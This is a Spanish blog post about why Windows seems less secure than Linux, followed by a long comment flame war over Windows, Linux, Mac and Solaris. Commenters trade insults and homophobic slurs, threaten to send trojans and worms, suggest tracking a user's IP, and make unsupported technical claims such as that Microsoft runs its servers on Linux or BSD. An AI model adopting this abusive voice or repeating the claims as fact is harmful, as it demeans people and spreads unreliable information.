Cuando un "entendido" (no vean la ironí­a en las comillas, por favor) expone argumentos a favor de Linux en cuanto a la seguridad, éstas son grosso modo sus tesis de partida:

1. En Windows hay muchos más virus que en Linux.

2. Se descubren muchos más agujeros de seguridad en Windows; sobre todo en lo referente a la seguridad cuando navegamos por Internet.

3. Microsoft no le concede a la seguridad toda la importancia que se merece porque si hiciera sus Sistemas Operativos más robustos y fiables, serí­an más difí­ciles de manejar para los que no tienen idea de Informática.

4. Si alguien descubre un agujero de seguridad en cualquier versión de Linux, cualquier programador habilidoso lo puede subsanar puesto que es de código abierto. En cambio, en Windows habrí­a que esperar a que los trabajadores en la nómina de Microsoft lo hicieran, con la consabida pérdida de tiempo que pondrí­a en riesgo millones de ordenadores de todo el mundo.

5. Linux jamás permitirí­a productos tan "frágiles" como Outlook o Internet Explorer que han de estar continuamente parchados. La profesionalidad está reñida con la carencia de seguridad.

6. La propia estructura lógica sobre la que funciona Linux es más segura que la de Windows.

Todos estos argumentos son, en mayor o menor medida, ciertos. Pero quizá necesitemos abundar un poco en la etiologí­a de cada argumentación para entender por qué se dice.

Es una verdad por todos conocida que en Windows hay más virus que en Linux, pero preguntado a varios programadores de virus por la razón, me aseveraban que las posibilidades de éxito en la propagación de un virus en Linux son mí­nimas.

En primer término (y esto lo entendemos todos) es una cuestión cuantitativa y después, de ingenierí­a social.

¿Qué quiere decir esto último?. Pues que los usuarios de Linux no son precisamente principiantes. Cuando alguien empieza lo hace con Windows. A Linux van generalmente los más doctos en informática. Es más fácil engañar a un usuario de Windows por término medio que a uno de Linux, por la misma razón que es más sencillo que un principiante sea engañado que un experto.

También es lógico que se descubran más agujeros de seguridad en un producto de consumo mayoritario que en otro mucho menos usado.

Además, en Windows hay una cuestión adyacente a la propia dialéctica técnica que no debemos obviar: cuando hablamos de una transnacional poderosí­sima como Microsoft y de un señor tan rico y divinizado como Bill Gates, se crea un halo de misticismo alrededor que resulta muy atractivo para aquellos transgresores que desean retos gigantes.

¡Qué mayor gloria para los cerebros anónimos e independientes como Guninsky que atacar y poner al descubierto las vulnerabilidades del todopoderoso Bill Gates!.

Cabrí­a preguntarles a muchos de estos investigadores independientes de "agujeros de seguridad" cuánto tiempo le dedican a Windows y cuánto a Linux.

El tercer punto también es discutible. Yo modestamente no creo que la seguridad esté siempre reñida con la comodidad.

Hoy dí­a sabemos que los automóviles son muy seguros y al mismo tiempo cómodos. ¿Por qué no va a pasar igual con la informática?.

Uno de los mejores cortafuegos para Windows es ZoneAlarm: posiblemente sea el más seguro de todos y al mismo tiempo es el más cómodo y fácil de usar. No nos debemos encandilar por el fulgor de lo alambicado y complejo: no hay razones de peso para pensar que sea mejor lo complejo que lo sencillo.

La cuarta cuestión es la más prolija de rebatir porque en ocasiones hemos sufrido la demora incomprensible por parte de Microsoft en la publicación de un parche para salvaguardar nuestra seguridad.

Sabemos también que la mayor parte de los investigadores serios remiten el problema a Microsoft antes de publicarlo, pero se han dado casos en los que ante el silencio incompetente de Microsoft, han decidido publicar el agujero de seguridad para llamar la atención definitivamente de la gran transnacional.

Si bien sospechamos que Windows es más lento en la corrección de errores que Linux, no menos cierto es que la libertad absoluta en el código abierto de Linux también genera una "anarquí­a" de versiones, actualizaciones y correcciones que pueden confundir sobremanera al usuario y hacer su experiencia ante el ordenador más incómoda.

El quinto punto hace mención al navegador más usado en el mundo, por lo que los argumentos expuestos antes también son aplicables. La cuestión es: ¿serí­a tan vulnerable el Internet Explorer si apenas nadie lo conociera?.

Hasta hace poco Opera era un navegador casi desconocido y se decí­a que muy seguro. Después de la campaña de desprestigio (en muchos casos justificada) de algunos investigadores independientes contra el IE, Opera se hizo mucho más conocido. Inmediatamente llegaron los primeros agujeros de seguridad.

Tampoco deseo que vean Uds. en mi comentario un determinismo entre seguridad y popularidad. Serí­a muy injusto de mi parte si no valoro el trabajo de los profesionales que estudian, analizan y programan los productos. Pero es obvio que la seguridad depende muy fundamentalmente también de quienes estudian la inseguridad.

Un banco es seguro si nadie se detiene a analizar las posibles debilidades en su seguridad. En el momento en que un ladrón lo hace, la empresa de seguridad habrá de reforzar aún más las medidas de seguridad.

El último punto es el más capcioso de tratar porque si afirmamos que la estructura lógica de Linux es más segura, también estamos suponiendo que en el futuro los ataques a la seguridad de los sistemas informáticos van a ser de la misma naturaleza que los actuales.

dejen al tio Bill trankilo, y a su windows,

los de mac OS y linux trankilos sigan usando su Sistema que windows es cada ves mayor y tiene mas usuarios.

-.- mode troll = on

pobres enfermos mentales se nota que estos windowseros no tienen nada en la cabeza, no se en que pais viven pero:

1- Probar vulnerabilidad en el software es mi trabajo y me pagan bien por ello

2- Tener un arma aca en Chile es legal mientras este dentro de la casa

3- Las pruebas de software malicioso las hago con maquinas dentro de mi red privada

4- Si asi viven en los paises subdesarrollados es problema de ustedes pero nosotros ya nos dimos cuenta de lo que trama microsoft

Al tal Destroyer hay que denunciarlo a la Brigada del Cibercrimen que existe acá en Chile. Programar software malicioso dentro o fuera de tu casa es un delito.

Se me olvidaba agregar que alguien que escribe "pobres enfermos mentales se nota que estos windowseros no tienen nada en la cabeza, no se en que pais viven " No sólo desprestigia a la comunidad Linux, sino que hace merecer serias dudas sobre su honorabilidad.

Hay que averiguar su IP

"Hay que averiguar su IP"

Mi IP es anonima, navego mediante proxy si la obtienes pasala por un whois, sorpresa te dice que estoy en australia jajajajaaja, y el malware que programo depues de las pruebas es destruido, aveces guardo el codigo fuente (sin las librerias) pero la mayoria de las veces lo desecho, la ley me permite hacer lo que quiera con mis maquinas por algo las compre, es un conjunto de maquinas que hacen de servidor web, ftp, smtp, imap y demases asi que tengo que comprobar hasta donde aguantan en cuanto a seguridad, y acerca del cibercrimen, estoy postulando a la escuela de investigaciones para ejercer en esa area, y hasta el momento esta saliendo todo bien

Nadie puede hacer lo que quiere. Tu propia forma de expresarte te delata. Personas comó tú son las que le dan mala fama al software libre, ya que sólo se dedican a hablar mal de las otras opciones. No creo que la Comunidad Linux quiera tener "defensores" de tu calaña. ¿Postulando a la Escuela de Investigaciones? Por favor, no lo hagas, la vas a desprestigiar,

y sobre lo que programe mientras no lo compile o haga ejecutable ninguna ley me restringe lo que haga con ese codigo mientras no ataque a personas ajenas.

Que san IGNUcio se apiade de tu pc algun dia y lo libere del lado oscuro jaja

http://www.softwarelibre.cl/drupal//?q=node/990

si es que hay algun peruano participando en el tema mis mas sinceros pesames, me acabo de enterar de que hace 2 dias un terremoto grado 7.5 causo graves da;os a una gran area del pais causando mas de 400 muertos asi que mis mas sinceras condolencias a la comunidad peruana

Eso es lo que tú crees, pero basta ver tus post con tus amenazas de tumbar sistemas operativos. Debes estar bien amargado ¿No tuviste infancia? Un tipo que anda programando virus y usa ese lenguaje (se nota que eres de pocas luces) no puede ser alguien honorable. Tipos como tú le hacen un flaco favor a la Comunidad de Linux.De todas formas no seguiré perdiendo el tiempo alimentando a un troll. He encontrado otro foro en donde no se insulta a la gente por disentir ni se le amenaza con virus.

Por cierto, quizás algún peruano ya ha sido tu ví­ctima.

Hasta nunca, troll psicótico.

He pasado casi un mes tratando de instalar linux en mi pc, probando una y otra "distro" y de verdad que me ha estresado como jamas, es increible lo complicado que es tan solo el seleccionar la distribucion adecuada, yo le llamaria version, probe ubuntu, kubuntu, suse, berry, etc. nombres raros todos, solo dos tuvieron un desempeño mediano, los otros eran terriblemente lentos, casi imposibles de instalar, imposible conseguir los controladores.

Berry 8.x y mandriva 2007, el berry es un "sistemita" bastante rapido, pero carente de muchos programas, mandriva era diria bueno en apariencia, excelente entorno grafico, pero tambien muy inestable, uno de los entornos graficos, se blokea, peor que windows, ademas el solo pensar en instalar un programa me aterra, increible que aun siguiendo paso a paso las instrucciones, no se instale, ejem, google earth, y ni se diga de los "montajes", todo un ritual para poder leer un cd, en este momento llevo 3 horas intentando que lea mi disco de mp3

por cierto, al igual que con Win Vista, las Distros para procesadores de 64 bits, carecen de mucho software elemental, como el flash de adobe, otra cosa, los "genios" de los foros de linux, por alguna razon, siempre te mandan a buscar en google, y cuando responden a una duda especifica, a veces son digamos empiricos, listan una serie de comandos, quiza con la finalidad de que entre todos ellos, alguno resuelva el problema, en fin Se que Win tiene bastantes problemas, se igual que la solucion es medio complicada, lease antivirus, antispy, antimalware, etc. con todo y eso prefiero tener mi pc, llena de herramientas de proteccion y seguridad, funcionando,a tener mi pc, protegida, pero como si estuviera apagada.

finalmente, no confundir software libre, con sotfware gratuito.

ultimo detalle, mi pc no es digamos tan viejita, tiene un AMD X2 5000+, 4 gigas de DDR2, y una GeForce 7800 GTX con 512 de DDR2, Como sea, Win siempre estara con los brazos abiertos cuando regresemos a el.

En un congreso en Calgary, Canada tuve la oportunidad de conocer a Theo

de Raadt, es una persona brillante y muy friky, no es una persona comun

y corriente, asi que no habla con desconocimiento...

Aqui estamos hablando de S.O. y no de paquetes que se complementan al

kernel para uso del computador, casi toda la gente que usa BSD es

critica de linux...

Yo tambien ahora soy critico, pero no solo de linux, sino del conjunto,

linux + escritorio + ambiente grafico, considero que se ha vuelto

inestable con respecto a versiones anteriores, con tanta basura de

chiches y cositas visuales, ahora intenta entrar "por la vista" mas que

por calidad, es decir, tiende a seguir el modelo de desarrollo de

windows...

Antes nunca se me quedaba "pegado" el computador, se moria el ambiente

grafico, una aplicacion, etc., pero nunca habia tenido necesidad de

apretar reset o apagar el computador...

aunque programe virus no quiere decir que ataque otros pc, al parecer no entienden estos wns, esos fueron solo experimentos de laboratiorio nada mas, ningun malware salio a la red, ni saldra, los afectados fueron windows y linux por igual presentando linux inmunidad en el 98% de los casos (el kernel 2.4 cayo ante un exploit dejando privilegios de root) en cuanto a windows todos saben que es el peor sistema que existe pero sin embargo hay versiones que salieron buenas (windows 95OSR2 y Windows 2000 server) esas versiones son estables, seguras pero el problema esta en que son monousuario asi que pierden mucho terreno en el area para la que fueron diseñados Windows XP no fue otra cosa que vestir de teletubbie a windows 2000 home (version muy insegura) pero conservando su inestabilidad y los mismo agujeros.

Windows Vista no es nada mas que un cambio en el disfras de teletubbie del xp por uno mas elegante pero el nucleo es casi identico (NT), en cuanto a Linux no hacen falta las palabras, hay que ver las cosas con los dedos de frente te estan regalando un sistema que desciende del gran UNIX osea el grande de las supercomputadoras a los pcs de escritorio un trabajo dificil pero al final el hijo (linux) es el mas usado en esa area, en los pcs de escritorio es algo aun mas dificil de masificar ya que la gente tiene miedo a aprender todo denuevo pero son solo mitos, si no quieres tocar la consola no la tocas y punto, en las distros para usuarios inexpertos (ubuntu, kubuntu, knoppix) los programas los instalas, click --> siguiente--> siguiente a lo windows, o mediante synaptic, y aun mas facil sera el trabajo con famelix, que en pocas palabras es trabajar con windows vista pero su kernel es linux, ese creo que es otro golpe mas a hasefroch.

Ya para finalizar admito gracias a windows tenemos la posibilidad de tener un pc en casa ya que ellos masificaron su uso, e hicieron que los pcs fuesen mas asequibles, todo se puso negro cuando comenzo el monopolio, pero cada vez son mas las personas que se dan cuenta que hay alternativas libres, gratis y de mejor calidad.

Windows no es malo pero linux es mejor

Oye Winston, no vengas a decir mentiras, yo me inicie en Linux hace 2 años, con Molinux, una distro española basada en Ubuntu. Lo puede instalar a la primera y rapido me aconstumbre y me olvide de windows. Google earth, y muchos programas se instalan facilmente. Berry 8 ¿Cual distro es esa? Se nota que eres un simple troll prowin, y eso de que van 3 horas y no puedes leer un disco de mp3, pues comprate otra unidad de cd, de seguro se daño la tuya. Los entornos Linux desde hace muchos años montan automaticamente tanto cds, dvd, pendrives, etc, montan hasta celulares sony erricson y Ipods, asi que no vengas aqui a hechar mentiras.

Parece que en estos tiempos modernos el que no está a favor de Linux es un paria o no tiene ni idea de informática porque no hace sus propios programas y juegos. Pues lo siento mucho pero me reafirmo no me gusta Linux y tengo sobradas razones para pensarlo.

Antes de nada tengo que hacer una confesión, lo siento, sí­ lo admito, lo intenté negar varias veces, ocultarlo e incluso renegar de ello, pero debo confesar que ..... soy informático...informático de la vieja escuela es decir Ingeniero Técnico Informático especialidad Sistemas, o lo que es lo mismo, pringao que hechó tropecientos años en una carrera que tiene mas base matemática teórica que práctica y que te obliga a buscarte la vida por tu cuenta porque cuando te dan el tí­tulo por no saber no sabes ni instalar windows.

Así­ que cuando hablo de linux se de lo que hablo, a mi me tocó sufrir los inicios de linux, si que ahora linux es muy bonito e intiutivo pero cuando a mi me tocó empezar con él, habí­a que recompilar el kernel a pelo y para hacer que funcionasen las X-windows ni te cuento. Eso si que eran tiempos duros y no los de ahora nenazas, aficionaos que soys todos unos aficionaos ...

A lo que iba, a lo largo de mi carrera llamase profesional o pringacional, elijase la definición mas adecuada, me ha tocado bregar con linux desde sus inicios en modo texto difí­cil que te cagas, hasta las actuales distribuciones para torpes siguiente siguiente siguiente. Y a lo largo de todos estos años me he encontrado con el mismo problema, la usabilidad.

Si linux es muy potente, abierto te permite modificar prácticamente todo, pero no es usable en el dí­a a dí­a. Bueno aclaremos esto, si lo es pero siempre y cuando tengas tiempo para pegarte con el sistema cada vez que le conectas una cámara web nueva, o una cámara mini dv o una nueva tarjeta capturadora o lo que quiera que instales en tu ordenador.

Pero no solo eso si intentas realizar un arrastrar y soltar entre aplicaciones como los formatos que maneje esas aplicaciones no sean standard de facto olví­date.

Por otro lado tienes el problema de siempre, tienes tropecientos tipos de software algunos mejores que muchas versiones de pago pero la mayorí­a son realmente engorrosos para un usuario normal.

Porque admitamoslo dejando a un lado a los frikies pro-linux y a los pringaos informáticos el 98% de los usuarios son usuarios siguiente siguiente siguiente, que piden al ordenador que funcione y haga lo que ellos quieren nada mas.

Les da igual si el programa es mil veces mas eficiente o si puede traducir textos al sánscrito sin despeinarse, ellos quieren ver las fotos de sus viajes, hacer un dvd con el ví­deo de las vacaciones, recortar alguna foto para quitar al familiar indeseable que se coló en la foto, navegar por Internet y poco mas.

No quieren tener que pegarse con el Linux cada vez que quieran hacer algo que no está contemplado por el que realizó el programa. O tener que aprender a manejar el manejo de 40 programas de 40 formas diferentes porque no hay un comando común a todos ellos.

Por esa razón todo ese porcentaje de gente usa Windows y seguirá usando Windows, porque son usuarios siguiente siguiente siguiente y no pueden perder su valioso tiempo en hacer que el Sistema Operativo funcione a su manera cuando deberí­a hacerlo desde el principio.

Si a eso sumamos la inexistencia de versiones de programas comerciales para Linux ya tenemos la segunda causa anti-linux. Si me parece muy bien que gimp sea tropecientas veces mas estable y personalizable que photoshop, pero photoshop nos guste o no es el standard de facto , y el usuario siguiente, siguiente, siguiente cuando da un curso en el hogar del jubilado o en su instituto, colegio o parroquia no da cursos de gimp sino de photoshop. Lo mismo le pasa cuando quiere comprarse un libro en cualquier librerí­a para ampliar sus conocimientos, sección photoshop varias alternativas, sección gimp una y si la hay.

Y podrí­amos hablar de muchos otros ejemplos de programas comerciales.

Parece raro que yo diga esto cuando fomento el uso del software libre allá donde voy, pero es que repito, yo no soy un usuario standard sino lo que los ingleses llaman poweruser y para mi puede resultar muy fácil pero para este tipo de usuarios es como intentar hacer análisis de quí­mica orgánica en papel sin estudiar, es decir imposible.

Así­ que mucho me temo que mientras Linux no mejore su usabilidad y haya versiones de programas comerciales disponibles como opción de compra no se implantará salvo en usuarios avanzados o mega frikies. A Linux lo que le falta son cosas básicas.

Cuidado con lo que dices mondrian que te hago un troyano o te envio a mi maskota el marikoncito histerico de luis rodriguez, ese perro si que muerde fuerte...joer...ahi vienen mis cuidadores,,,

Otra vez tu "Informatico" mejor vete a escribir a tu blog.

y ahora como los trolles no pueden usan mi nick me dan pena comapren las IPs

el que posteo arriba no soy yo y mas encima no sabe insultar, que pena da, y eso de

hacer un troyano y hacer da;o a otros es de lamers nada mas, si van a programar malware

que sea con fines de beneficiar a la comunidad, osea hablo de programar un antivirus, o un firewall y usar ese malware para probar sus capacidades (ese es mi trabajo) nada mas que eso pero el andar usando el malware para da;ar a los demas eso es de LAMERS, si windows tiene bugs o si cierto malware afecta a windows, no hay que demostrarlo atacando a los demas, simplelente en una maquina desconectada de la red o en una red privada, pruebas sus agujeros y luego ese malware lo desechas y si quieres guardar una copia de dicho malware lo guardas sin compilar y comentas su codigo para que no sea ejecutable, mi trabajo es simplemente eso ya que la seguridad de un servidor depende de un firewall al que le di mi aprobacion

el Ingeniero tecnico y blablabla no conoce famelix parece, es la distro mas parecida a windows xp en apariencia y mucho mas facil de usar por un n00b si hasta mi primo de

6 a;os la usa, hasta instala programas mediante synaptic, esa distro les prometo que se

hara famosa, y esperen que salga la 2.0 que es identica al windows vista en apariencia

y aun mas facil, estas distros estan pensadas para el usuario que recien se inicia en linux

Destroyer es un hacker flaite

picante loco

Uno no se migra a linux por no pagar una licencia uno se va a linux por que sabe uno linux linux es codigo abierto tu lo sabes y lo haces como quieres ? has visto el libro basico de linux ?? tu crees que la gente aparte de llegar y leerlo sabe programacion basica?? si no van a un curso de office, windows e internet menos van a aprender a programar y despues instalar linux buscar si hay controladores para version y modificarlo o bajar el codigo y programarlo, real mente que necesita la gente en una maquina?? procesador de texto, hoja de calculo y un soft para presentaciones y un navegador para que meterte en tanta bronca ademas la licencia de windows es cara si pero el soporte es barato hasta 150 pesos cobran por formatear una pc, en cambio si fuera soporte de linux no baja ,.... barato barato de $600.00 pesos

Linux me ha despertado una enorme curiosidad por conocer de informatica, de saber ¿el porqué? y ¿el cómo? de lo que estoy usando, me generó un deseo de conocer en que punto tecnológico nos encontramos como sociedad y como aportar algo de lo que he aprendido, me ha despertado un lado crí­tico que tení­a algo olvidado, me ha motivado compartir el conocimiento con otras personas, me ha convencido que el conocimiento pertenece a TODOS y no sólo a grupos que pretenden lucrar con el, he aprendido cosas que de no haber instalado aquella distro de Linux ni me hubieran llamado la atención. Sólo espero que esto que me sucedio pase con más gente.

Y cuidadito con contradecirme, que les mando un troyano y un worm, o peor aun, a luisito rodriguez mi perro fiel

pero el soporte de windows no sirve, la solucion es la de formatear y perdiste todo, es barato por que hasta mi abuela sabe formatear, pero el soporte que se trabaja en linux es para los programas que se mas se exponen a fallos, osea servidores web, ftp y esas cosas, pero no creo que uses apache server en tu casa o si??? y en eso estas equivocado por que sale mas caro configurar IIS de microsoft, que apache en linux ya que para IIS hay que tener una licencia que te permita usar el sistema como servidor, aparte de que falla muy seguido un servidor IIS (cada 6 mese aprox vs los 7 años de apache) y si no sabias microsoft en su area de servidores usa BSD, Solaris y SUSE Linux ya que windows 2003 server no se la pudo

El soporte linux es mas barato que el de windows, incluso si comprar el paquete red hat que es mas barato que una licencia windows, ese precio que se cobra es por el soporte ya que es lo unico que se paga y esta garantizado por 5 años o en el caso de ubuntu que tienes a toda una comunidad ayudando.

Para finalizar, yo nunca he necesitado el soporte de linux ya que nunca me ha fallado de forma critica un nodo Linux, desde que lo instale no he formateado, no he defragmentado y con la maquina windows 2003 server que mantiene un servidor sql, (fuera del rango del firewall) paso malos ratos bien seguido (lo hackean, se infecta, o cada 6 meses aprox tengo que formatear y restaurar las bases de datos (restaurar una base de datos me toma un dia entero o mas) que son cerca de 100, en linux las bases de datos que tengo en mysql estan intactas asi que ahi es donde almaceno la informacion critica, el servidor windows lo ocupo para un server de Mu Online nada mas y otras cosas menos importantes y apenas se puede esas tareas.

Hey impostor, no uses mi nick.

El desarrollador jefe del sistema operativo OpenBSD,

Theo de Raadt, se ha referido en duros términos a Linux, un sistema que a su juicio,

”nunca ha tenido su enfoque en la calidad”.

En una entrevista con la publicación Forbes, Theo de Raadt

se refiere en duros términos al sistema operativo Linux. A juicio de de Raadt,

Linux es, lisa y llanamente, inservible.

”Es terrible.Lo usan pero no se percatan de lo malo que es. Y los

partidarios de Linux lo defienden incondicionalmente en lugar de decir ´esto es

una basura y debemos mejorarlo´ ”.

Según Forbes, de Raadt estima que lo anterior obedece en parte a que Linux tiene

el respaldo de grandes fabricantes como HP e IBM, que han convertido a los

desarrolladores de Linux en una fuerza laboral gratuita.

A juicio de de Raadt, Linux nunca ha tenido como objetivo la calidad en si.

”Muchos elementos del sistema que son sólo hacks baratos, que curiosamente

funcionan”, indica el experto, quien luego critica directamente a Linus

Torvalds: ”No se donde él tiene puesto su enfoque actualmente; pero en ningún caso es

en la calidad”.

Consultado sobre la diferencia entre Linux y OpenBSD, de Raadt comenta que a los

partidarios de Linux los motiva el odio hacia Microsoft, mientras que los

miembros de OpenBSD los mueve el amor a Unix. de Raadt también critica a los

cí­rculos Linux por tener un ciclo de desarrollo demasiado acelerado. Con un dejo

de ironí­a, deja entrever que lo anterior hace que desarrollen productos de la

misma calidad que Microsoft.

Callate blasfemo, yo desde que conoci a Linux vi la luz y la verdad, deje de ser un pobre pecador errante y titubeante entre mierdosoft y macaca.LARGA VIDA A TUX

jejejeje perdonen es que cuando bebo demas me pongo locuaz.

Vean el flamante mouse que usa Destroyer el hacker flaite.es lo ultimo en teknologia.

http://co-sasraras.blogspot.com/

Que barbaridad, que apasionados,Yo he intentado usar linux, pero.. No se pueden hacer muchas cosas que en Windows son tipos de cambio corriente. Los fanaticos de linux llevan años diciendo que superior a Windows, estoy de acuerdo. Buscan hacer la guerra al SO de Microsoft. Pero no nos hagamos tontos el mejor sistema operativo es el Mac OS X, ya que no irrumpe las barreras del buen gusto. Lo pondre asi. Mac OS X es un Ferrari Enzo y El Ubuntu con todos sus add ons es un Honda Civic Tunning, pero exagerado, Con volante de cadena y peluche en el tablero. No deben de salirse del buen gusto ya que eso hace que no se les tome my en serio.

Ademas con que programa abriria un archivo de Flash o de Photoshop o de Quark en Linux?. No todo debe ser software libre porque no siempre todo lo gratis es bueno. Cuando Linux se estandarize y las grandes marcas de programas ofrezcan software para plataforma otra cosa sera. Ok, defenderan que hay aplicaciones libres para crear archivos de Flash o manipular imagenes o para hacer documentos, pero por Dios! parecen de juguete y hechas por aficionados. Contra eso no van a poder competir contra una mac.

Mac es caro? Cotiza una computadora HP o dell con caracteristicas simlares y veras que hasta te sale mas barato.. y Obvio mas elegante. Computadora Clonica? Eso fomenta lo que un wey le dijo a un compañero de trabajo cuando vio un iMac: Oye, ¿donde tiene el cpu esta computadora?

Totalmente de acuerdo con Anibal. Yo trabajo como diseñador gráfico y web, y los programas estándares son Photoshop y Flash, (Final Cut en video, Pro Tools en Audio) sobre plataforma Mac. La realidad es que no hay nada igual en Linux, salvo programas con aspecto de haber sido hechos por aficionadillos. No dudo de que Linux sea una plataforma muy segura y estable, pero mientras su "comunidad de desarrolladores" no saque menos distros pero más serias, seguirá el cuasimonopolio de Microsoft.

Por supuesto yo trabajo con Mac, pero también uso Windows para otras tareas, ya que igual hay que verificar que un sitio web funcione bien en el Internet Explorer, que es el browser más extendido.

No todos los Linux son gratuitos, tambien hay comerciales, chequen este:

http://www.xandros.com/

Mientras Linux no unifique criterios y sean un montón de distribuciones, sólo seguirán siendo una minorí­a confusa. En lugar de profitar de la mala fama de Windows y de tanto talibaneo deberí­an emplear su tiempo en hacer un buen SO.

En cuanto a diseño gráfico y tareas de webmasters, es lo único en que Gnu/Linux esta muy flojo. En el resto, es igual o mejor que cualquier Windows Vista o Mac, además de eso, es software libre, puedes modificarlo, copiarlo y adaptarlo a TUS necesidades sin infringir ninguna ley.

Por lo que he visto en sus comentarios creo que están algo confundidos, Software Libre no es igual a Software Gratuito, nadie mejor que la wikipedia para explicarlo:

http://es.wikipedia.org/wiki/Software_libre

-

Saludos,

"...En cuanto a diseño gráfico y tareas de webmasters, es lo único en que Gnu/Linux esta muy flojo..."

¡Casi nada!

No hay Photoshop, ni Flash, ni Quarx, ni Cubase, ni Pro Tools, ni Final Cut. En su lugar hay unas alternativas que dan risa.

me pongo de pie ante LINUX me inco ante el definitivamente se ch inga a windows vista vista y mac estan bien pero nada como linux

Me pongo de rodillas ante Linux y le beso el culo a Linus Torvald

ORAD HERMANOS

ya cortenla con usar mi nick, son tan cobardes que no saben defenderse de otra manera, lo digo en lenguaje L337 : 50N UN05 I_4M3RS, como vieron que contra mis conocimientos en sistemas operativos no pueden hacer nada claro ahora se dedican a trollear con mi nick, mira si mi titulo de licenciatura en ciencias de la informatica me hace ver como un hacker, bien pero a mi no me gusta usar ese termino, solo es mi trabajo revisar como se comportan los sistemas, cual es seguro y cual no nada mas que eso, quisas cuando niño en mis tiempos de lamer , hice una que otra maldad en la red pero ahora todo se reduce a pruebas de laboratorio serias, ya casi termino MI PROPIA DISTRO de linux basada en Knoppix y la quiero lo mas segura posible, por eso las comparaciones, las pruebas con malware existente y malware nuevo programado por mi, las comparaciones entre el kernel linux 2.6.21 con el de windows NT (un kernel arcaico), nada mas que eso, pero con eso he ido descubriendo lo vulnerable que son los sistemas microsoft , osea un firewall que se cae al tirarle un exploit hecho por un estudiante, que el windows live one care se caiga por cualquier cosa, que el msn messenger live te abra puertas traseras por montones, son cosas que se han ido descubriendo , y no son del todo malas, ya que se da a conocer que hay alternativas mejores, que windows es un sistema como una caja negra (lo ves por fuera pero no sabes que pasa dentro) y ademas caro ya que si no sabian ustedes al cambiar el hardware del pc la licencia se invalida y hay que comprarla denuevo, que la licencia impide usar la maquina como servidor en internet o que la licencia solo te permite tener un usuario, bueno ahi dejo parte del EULA que al parecer nadie lee y le colocan estoy de acuerdo xD (eso si que es L0L), yo acabo de dejar linux hoy ahora estoy posteando desde Sun Solaris en un cluster 16 de procesadores Amd Sempron 3000+ (maquina capaz de correr mas 10 veces al mismo tiempo windows vista ultimate con aero ) dedicado a un server de Mu Online y Counter strike, ademas de ofrecer servicios POP3, IMAP y SMTP

programas de juguete en linux?? o alomejor no saben usarlos, no es el programa el que hace el arte, sino que el artista, peliculas muy famosas como Shrek has sido diseñadas con software libre, para que quiero al dreamweaver si tengo un editor de text y me salen mejor las paginas, hechas en puro html y php nada mas, o si es algo muy grande uso el bluesfish, no es mi culpa que no sepan programar una web en html o aunque sea un minimo de ese lenguaje cualquier editor seria bueno hasta el block de notas, no culpen al programa, culpen sus conocimientos ya que uno no puede criticar algo si no se conoce o si no se sabe usar.

bueno ya que se han dedicado a trollear aca con los nicks de los demas, cosa que es de poco hombre, de maricas, me retiro, tengo cosas mas importantes que hacer, en vez de estar discutiendo como viejas buenas pal pelambre sobre que si es mejor un sistema vestido de teletubbie (windows) u otro mi mail es destroyer.kyoku@gmail.com me pueden contactar mediante msn, respondo cualquier duda (mientras no sean del tipo lammer) relacionada con sistemas operativos, redes y manejo de aplicaciones cliente servidor

Saludos.

P.D: adios linux, encontre el sistema perfecto, se llama Sun Solaris y la maquina perfecta usa procesador Sparc

"...bueno ya que se han dedicado a trollear aca con los nicks de los demas, cosa que es de poco hombre, de maricas..."

Con esta clase de voceros, poco futuro le veo a Linux

Hombre que es esto, yo con esta Comunidad Linux mejor me quedo como estoy. Que entre el señorito Luis Rodriguez que se defiende como gato de espaldas y el tal Destroyer ¡Vaya nick para este capullo! que vomita su mala leche de hacker frustrado digo:¡están de atarlos!

Linux es Fantastico ademas el ubuntu genial

pero no restemos meritos al mac que es un sistema para mi el mejor!!

yo utilizo windows y Mac......aunque windows deberia mejorar que para alacanzar a mac y linux tendria que pasar mucho tiemmpoooo ahi la duda ......lo Lograra!!!!!

Yo creo que nadie con un mí­nimo de conocimiento de informática duda de la importancia de Linux como software libre y contrapeso necesario a Microsoft como empresa, pero no tienen porqué ser excluyentes. Yo utilizo lo que me sirve, y por ahora los estándares son otros y son Photoshop, Flash, etc., sobre Mac o Windows, aunque me quedo con la manzana.

Viva Lin...quiero decir Solaris!!!

Me quedé solo y aislado

yo tambien estoy solo.Nos quitaron internet en el manicomio.

intento localizarte destro y donde te pillo, posteando en un blog con razon te expulzaron del team kamikaze, no se suponia que tu nos enseñaste destro a que no debiamos postear en foros ni blogs y que el msn solo entre tus contactos personales??? ojala no me hagan lo mismo por postear aca, bueno sera ojala seas feliz en tu regreso a la vida lamer destroyer, si hasta tu nick ya no lo escribes en 1337, pobrecito jaja de D357ROY3R a Destroyer uy que feo el cambio

Adios

y refiriendome al tema, windows y linux puaj, me quedo con BSD

JºK3R: otro flaite

+--------------------+

|... POR FAVOR NO ...|

| ALIMENTE AL TROLL. |

|..... GRACIAS. .....|

|.... -- |

+--------------------+

......... | |

......... | |... O

.. o..... | |... |

__\|/___=\| |/=_\|/____

Bola de niñitas, con su win azulito y bonito.

Hey "civergonetico" tonto ignorante Windows Vista no es azul. Ese es XP

Sí­, no alimenten a los trolls. Mac es el mejor sistema operativo del mundo, duela a quien duela. A su lado Linux es un monstruo de Frankenstein informático.

Pues yo prefiero el azulito del Windows al color excremento del Ubuntu.

Azulito de jotitos

¿Qué es "jotitos"?

Civergonetico , no sabia que ya les ponen internet en los manicomios. De todas maneras no es bueno abusar. Pidele a tus cuidadores que te saquen a tomar solcito mas seguido.

saludos

no es que windows sea mejor que Linux, que es algo muy subjetivo. Habria que preguntarse para que.

Es decir, Openoffice (que es la suite que uso) es igual usarlo en Linux, en windows, o en OsX. Pero, si tienes que instalarlo, desinstalarlo, o actualizarlo, en que sistema operativo es mas facil. E incluso es mas rapido hacerlo? En Linux no, eso seguro.

Y como esas muchas otras cosas. Se dice que Linux es mucho mas seguro, pero (y esto no lo se) no sera porque no hay tanta gente haciendo virus para Linux?

Se me pasan muchas cosas por la cabeza, pero en realidad es bastante simple:

Que quereis que sea Linux? Un sistema operativo para unos pocos o un sistema operativo que desbanque a windows?

Porque si la respuesta es la segunda, falta mucho por hacer. Hace un tiempo era dificil configurar el hardware en linux. Ahora casi no hay problemas (yo no los he tenido). Pero sigue siendo demasiado complicado. Es tan simple como eso.

En windows instalar un programa y saber donde se instala es facil. En linux es mas complicado. No te ofusques y acepta la realidad.

No quiero que borres linux. No he dicho eso. Solo he dicho y vuelvo a repetir que Linux deberia ser mas facil para muchas cosas.

Seria facil (seguro) crear algun tipo de instalador. Si existe en windows porque no en linux? Seria facil saber donde se meten las cosas, ejem, se que en windows no lo sabes tampoco, pero en parte si informa mas.

